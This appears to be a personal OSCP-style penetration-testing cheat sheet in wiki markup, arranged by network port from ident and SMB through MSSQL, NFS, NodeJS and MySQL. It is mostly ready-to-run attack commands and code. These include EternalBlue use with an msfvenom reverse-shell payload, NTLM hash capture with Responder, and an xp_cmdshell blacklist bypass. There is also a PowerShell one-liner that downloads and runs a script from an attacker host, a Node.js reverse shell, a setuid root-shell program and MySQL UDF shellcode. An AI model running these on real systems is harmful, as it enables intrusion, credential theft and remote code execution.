&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident&lt;br /&gt;
ident-user-enum 192.168.207.60 22 113 8080 10000&lt;br /&gt;
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )&lt;br /&gt;
192.168.207.60:22       root&lt;br /&gt;
192.168.207.60:113      nobody&lt;br /&gt;
192.168.207.60:8080&lt;br /&gt;
192.168.207.60:10000    eleanor&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 135, 593 - MS RPC ==&lt;br /&gt;
&lt;br /&gt;
=== Enum with creds ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration&lt;br /&gt;
# If you have access to rpcclient, you can enumerate target&lt;br /&gt;
# Users enumeration&lt;br /&gt;
List users: querydispinfo and enumdomusers&lt;br /&gt;
Get user details: queryuser&lt;br /&gt;
Get user groups: queryusergroups&lt;br /&gt;
GET SID of a user: lookupnames&lt;br /&gt;
Get users aliases: queryuseraliases [builtin|domain]&lt;br /&gt;
# Groups enumeration&lt;br /&gt;
List groups: enumdomgroups&lt;br /&gt;
Get group details: querygroup&lt;br /&gt;
Get group members: querygroupmem&lt;br /&gt;
Aliasgroups enumeration&lt;br /&gt;
List alias: enumalsgroups&lt;br /&gt;
Get members: queryaliasmem builtin|domain&lt;br /&gt;
# Domains enumeration&lt;br /&gt;
List domains: enumdomains&lt;br /&gt;
Get SID: lsaquery&lt;br /&gt;
Domain info: querydominfo&lt;br /&gt;
# Shares enumeration&lt;br /&gt;
Enumerate all available shares: netshareenumall&lt;br /&gt;
Info about a share: netsharegetinfo&lt;br /&gt;
# More SIDs&lt;br /&gt;
Find SIDs by name: lookupnames&lt;br /&gt;
Find more SIDs: lsaenumsid&lt;br /&gt;
RID cycling (check more SIDs): lookupsids&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password Reset over RPC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://room362.com/post/2017/reset-ad-user-password-with-linux/&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2 audit2020 23 &#039;Password123!&#039;&lt;br /&gt;
# One-liner&lt;br /&gt;
root@kali# rpcclient -U &#039;blackfield.local/support%#00^BlackKnight&#039; 10.10.10.192 -c &#039;setuserinfo2 audit2020 23 &amp;quot;Password123!&amp;quot;&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 139, 445 - SMB/SAMBA ==&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u  -p&lt;br /&gt;
hydra -V -f -L  -P  smb:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture hash using responder or smbserver ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker start responder or smbserver.&lt;br /&gt;
responder -I attackerip&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support&lt;br /&gt;
# On target&lt;br /&gt;
dir \\attackerip\something&lt;br /&gt;
view=//attackerip/share&lt;br /&gt;
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.&lt;br /&gt;
# Example&lt;br /&gt;
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Command Execution through smbmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbmap -u &#039;backup&#039; -p &#039;backup&#039;  -H 10.11.1.227 -x &amp;quot;net user&amp;quot; --mode psexec&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Download all&lt;br /&gt;
smbclient ///&lt;br /&gt;
&amp;gt; mask &amp;quot;&amp;quot;&lt;br /&gt;
&amp;gt; recurse&lt;br /&gt;
&amp;gt; prompt&lt;br /&gt;
&amp;gt; mget *&lt;br /&gt;
#Download everything to current directory&lt;br /&gt;
&lt;br /&gt;
# Download all files from a directory recursively&lt;br /&gt;
smbclient /// -U  -c &amp;quot;prompt OFF;recurse ON;mget *&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== EternalBlue ms17-010 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/worawit/MS17-010/&lt;br /&gt;
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo&lt;br /&gt;
# If windows xp, use send_and_execute.py&lt;br /&gt;
# Generate payload using msfvenom&lt;br /&gt;
python2 send_and_execute.py 10.10.10.10 shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate samba version ===&lt;br /&gt;
&lt;br /&gt;
[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run the below script while wireshark is listening&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#Author: rewardone&lt;br /&gt;
#Description:&lt;br /&gt;
# Requires root or enough permissions to use tcpdump&lt;br /&gt;
# Will listen for the first 8 packets of a null login&lt;br /&gt;
# and grab the SMB Version&lt;br /&gt;
#Notes:&lt;br /&gt;
# Will sometimes not capture or will print multiple&lt;br /&gt;
# lines. May need to run a second time for success.&lt;br /&gt;
if [ -z $1 ]; then echo &amp;quot;Usage: ./smbver.sh RHOST {RPORT}&amp;quot; &amp;amp;&amp;amp; exit; else rhost=$1; fi&lt;br /&gt;
if [ ! -z $2 ]; then rport=$2; else rport=139; fi&lt;br /&gt;
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2&amp;gt;/dev/null | grep -i &amp;quot;samba\|s.a.m&amp;quot; | tr -d &#039;.&#039; | grep -oP &#039;UnixSamba.*[0-9a-z]&#039; | tr -d &#039;\n&#039; &amp;amp; echo -n &amp;quot;$rhost: &amp;quot; &amp;amp;&lt;br /&gt;
echo &amp;quot;exit&amp;quot; | smbclient -L $rhost 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;br /&gt;
echo &amp;quot;&amp;quot; &amp;amp;&amp;amp; sleep .1&lt;br /&gt;
# Once you&#039;ve run the script, go back to wireshark and follow one of the smb TCP stream&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Enumerate ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -A&lt;br /&gt;
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254&lt;br /&gt;
nbtscan -r 192.168.11.0/24&lt;br /&gt;
nmblookup -A target&lt;br /&gt;
rpcclient -U &amp;quot;&amp;quot; target // connect as blank user /nobody&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient -L //&lt;br /&gt;
smbclient //192.168.31.147/kathy -I 192.168.31.147&lt;br /&gt;
smbmap -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;guest&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H  -R&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -d MYGROUP -H 10.11.1.22&lt;br /&gt;
crackmapexec smb&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;guest&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039; --shares&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount share ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mount -t auto --source //x.x.x.x&lt;br /&gt;
mount -t cifs //x.x.x.x/share /mnt/share&lt;br /&gt;
mount -t cifs -o &amp;quot;username=user,password=password&amp;quot; //x.x.x.x/share /mnt/share&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient /// -U&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psexec.py /:@&lt;br /&gt;
psexec.py /@ -hashes :&lt;br /&gt;
wmiexec.py /:@&lt;br /&gt;
wmiexec.py /@ -hashes :&lt;br /&gt;
smbexec.py /:@&lt;br /&gt;
smbexec.py /@ -hashes :&lt;br /&gt;
atexec.py /:@&lt;br /&gt;
atexec.py /@ -hashes :&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Eternal Blue ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
MS17-010 - EternalBlue&lt;br /&gt;
MS08-067 - MS08-067&lt;br /&gt;
CVE-2017-7494 - CVE-2017-7494&lt;br /&gt;
# Send_and_Exectue.py&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; exploit.exe&lt;br /&gt;
python2 send_and_execute.py 10.10.10.40 exploit.exe&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# Command Execution&lt;br /&gt;
https://www.exploit-db.com/exploits/42315&lt;br /&gt;
# Uncomment this line and add your CMD&lt;br /&gt;
service_exec(conn, r&#039;cmd /c copy c:\pwned.txt c:\pwned_exec.txt&#039;)&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# AutoBlue&lt;br /&gt;
# Generate shellcode from shell_prep.sh&lt;br /&gt;
https://github.com/3ndG4me/AutoBlue-MS17-010&lt;br /&gt;
python eternalblue_exploit*.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Man in the middle ===&lt;br /&gt;
&lt;br /&gt;
==== URI file attack ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for Vault&lt;br /&gt;
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.&lt;br /&gt;
Kali &amp;gt; cat @file.url # Can also save as desktop.ini&lt;br /&gt;
[InternetShortcut]&lt;br /&gt;
URL=anything&lt;br /&gt;
WorkingDirectory=anything&lt;br /&gt;
IconFile=\\192.168.118.14\%USERNAME%.icon&lt;br /&gt;
IconIndex=1&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0 -v&lt;br /&gt;
# Hashtype&lt;br /&gt;
net-NTLMv2&lt;br /&gt;
# Upload file to SMB and wait for a user to access the file.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 161 - SNMP ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snmp-check  [-p PORT]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 194,6667,6660-7000 - IRC ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Can use different clients, like irssi&lt;br /&gt;
# See notes from box; UT99&lt;br /&gt;
#Connection with random nickname&lt;br /&gt;
USER ran213eqdw123 0 * ran213eqdw123&lt;br /&gt;
NICK ran213eqdw123&lt;br /&gt;
#If a PING : is responded you need to send&lt;br /&gt;
#PONG :&lt;br /&gt;
VERSION&lt;br /&gt;
HELP&lt;br /&gt;
INFO&lt;br /&gt;
LINKS&lt;br /&gt;
HELPOP USERCMDS&lt;br /&gt;
HELPOP OPERCMDS&lt;br /&gt;
OPERATOR CAPA&lt;br /&gt;
ADMIN      #Admin info&lt;br /&gt;
USERS      #Current number of users&lt;br /&gt;
TIME       #Server&#039;s time&lt;br /&gt;
STATS a    #Only operators should be able to run this&lt;br /&gt;
NAMES      #List channel names and usernames inside of each channel -&amp;gt; Nombre del canal y nombre de las personas que estan dentro&lt;br /&gt;
LIST       #List channel names along with channel banner&lt;br /&gt;
WHOIS       #WHOIS a username&lt;br /&gt;
USERHOST    #If available, get hostname of a user&lt;br /&gt;
USERIP      #If available, get ip of a user&lt;br /&gt;
JOIN    #Connect to a channel&lt;br /&gt;
#Operator creds Brute-Force&lt;br /&gt;
OPER&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 389, 636, 3268, 3269 - LDAP ==&lt;br /&gt;
&lt;br /&gt;
=== Enumerate LDAP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389 dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump LDAP info ===&lt;br /&gt;
&lt;br /&gt;
Must have valid credentials&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip3 install ldapdomaindump&lt;br /&gt;
ldapdomaindump  [-r ] -u &#039;\&#039; -p &#039;&#039; [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search queries ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.&lt;br /&gt;
ldapsearch -x -h  -b &amp;quot;dc=XXXX&amp;quot;&lt;br /&gt;
# Example&lt;br /&gt;
ldapsearch -x -H LDAP://192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 873 - rsync ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync&lt;br /&gt;
# List shares&lt;br /&gt;
rsync -av --list-only rsync://192.168.243.126/&lt;br /&gt;
# Upload files&lt;br /&gt;
rsync -av test.txt rsync://192.168.243.126/fox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload SSH key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate an SSH key&lt;br /&gt;
ssh-keygen -t rsa&lt;br /&gt;
# 2 If you are in a users folder, create a .ssh&lt;br /&gt;
mkdir .ssh&lt;br /&gt;
rsync -av .ssh TARGET_IP/home_dir/&lt;br /&gt;
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file&lt;br /&gt;
touch authorized_keys&lt;br /&gt;
echo -n &#039;CONTENT of id_rsa.pub&#039; &amp;gt;&amp;gt; authorized_keys&lt;br /&gt;
# 4 Transfer the authorized_keys to the target&lt;br /&gt;
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/&lt;br /&gt;
# 5 SSH into the machine. You need to know the owner of home_dir&lt;br /&gt;
ssh -i id_rsa USER@TARGETIP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/&lt;br /&gt;
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1098/1099/1050 - Java RMI ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Running Remote Method Guesser&lt;br /&gt;
# https://github.com/qtc-de/remote-method-guesser#installation&lt;br /&gt;
java -jar rmg-4.3.0-jar-with-dependencies.jar&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1433 - MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft SQL Server 2017 directory locations ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Execute commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands&lt;br /&gt;
# Log in to mssql&lt;br /&gt;
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@&lt;br /&gt;
# Execute commands&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
# this turns on advanced options and is needed to configure xp_cmdshell&lt;br /&gt;
sp_configure &#039;show advanced options&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# this enables xp_cmdshell&lt;br /&gt;
sp_configure &#039;xp_cmdshell&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# Quickly check what the service account is via xp_cmdshell&lt;br /&gt;
EXEC master..xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
# Bypass blackisted &amp;quot;EXEC xp_cmdshell&amp;quot;&lt;br /&gt;
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== xp_cmdshell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands&lt;br /&gt;
# Need credentials&lt;br /&gt;
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G&lt;br /&gt;
    ###the goal is to get xp_cmdshell working###&lt;br /&gt;
    1. try and see if it works&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    2. try to turn component back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    3. &#039;advanced&#039; turn it back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;show advanced options&#039;, 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
        go&lt;br /&gt;
    xp_cmdshell &amp;quot;powershell.exe -exec bypass iex(new-object net.webclient).downloadstring(&#039;http://10.10.14.60:8000/ye443.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extracting hashes from .mdf file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation&lt;br /&gt;
# read this if troulbe&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation/issues/1&lt;br /&gt;
# Run Powershell on linux&lt;br /&gt;
pwsh&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.RawCore.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.Framework.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; import-module .\Get-MDFHashes.ps1&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Get-MDFHashes -mdf &amp;quot;./master.mdf&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1521, 1522-1529 - Oracle TNS Listener ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1978, 1979, 1980 - Remote Mouse ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use nc to check header&lt;br /&gt;
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.&lt;br /&gt;
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.&lt;br /&gt;
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.&lt;br /&gt;
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit&lt;br /&gt;
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 2049 - NFS ==&lt;br /&gt;
&lt;br /&gt;
=== no_root_squash ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS&lt;br /&gt;
&lt;br /&gt;
=== Access NFS through ssh tunnel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c&lt;br /&gt;
# Output from /etc/exports on target&lt;br /&gt;
/srv/Share 10.1.1.0/24(insecure,rw)&lt;br /&gt;
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)&lt;br /&gt;
# Forward connection - Run the ssh command on attacker&lt;br /&gt;
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049&lt;br /&gt;
mount -t nfs 127.0.0.1:/srv/pelota my_share&lt;br /&gt;
cd my_share&lt;br /&gt;
cat &amp;gt; shell.c&lt;br /&gt;
int main(){&lt;br /&gt;
  setuid(0);&lt;br /&gt;
  setgid(0);&lt;br /&gt;
  system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
EOF&lt;br /&gt;
gcc shell.c -o shell&lt;br /&gt;
chmod u+s shell&lt;br /&gt;
# Reverse connection - Run the ssh command on target&lt;br /&gt;
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.&lt;br /&gt;
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176&lt;br /&gt;
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3000 - NodeJs ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell&lt;br /&gt;
# The Javascript code below is a Node.js reverse shell.&lt;br /&gt;
# Remember to change the IP address and PORT with the nc you are running.&lt;br /&gt;
(function(){&lt;br /&gt;
    var net = require(&amp;quot;net&amp;quot;),&lt;br /&gt;
        cp = require(&amp;quot;child_process&amp;quot;),&lt;br /&gt;
        sh = cp.spawn(&amp;quot;/bin/sh&amp;quot;, []);&lt;br /&gt;
    var client = new net.Socket();&lt;br /&gt;
    client.connect(8080, &amp;quot;192.168.33.1&amp;quot;, function(){&lt;br /&gt;
        client.pipe(sh.stdin);&lt;br /&gt;
        sh.stdout.pipe(client);&lt;br /&gt;
        sh.stderr.pipe(client);&lt;br /&gt;
    });&lt;br /&gt;
    return /a/; // Prevents the Node.js application form crashing&lt;br /&gt;
})();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3306 - MySQL/MariaDB ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf&lt;br /&gt;
# User-defined function (UDF)&lt;br /&gt;
# If you can login as root you can create a malicious functions to run commands.&lt;br /&gt;
https://www.exploit-db.com/exploits/1518&lt;br /&gt;
# You can also compile it on attacker if target dont have gcc. Use --static.&lt;br /&gt;
# Check if secure_file_priv. If empty means disabled&lt;br /&gt;
show variables like &#039;%secure_file_priv%&#039;;&lt;br /&gt;
# Find plugin path. Add the path on step file (dumpfile)&lt;br /&gt;
show variables like &#039;%plugin%&#039;;&lt;br /&gt;
$ gcc -g -c raptor_udf2.c&lt;br /&gt;
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc&lt;br /&gt;
# Can also transfer exploit raptor_udf2.so with hex.&lt;br /&gt;
## xxd -p raptor_udf2.so | tr -d &#039;\n&#039; &amp;gt; raptor_udf2.so.hex&lt;br /&gt;
 * $ mysql -u root -p&lt;br /&gt;
 * Enter password:&lt;br /&gt;
 * [...]&lt;br /&gt;
# Set variable for shellcode&lt;br /&gt;
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
 * mysql&amp;gt; use mysql;&lt;br /&gt;
 * mysql&amp;gt; create table foo(line blob);&lt;br /&gt;
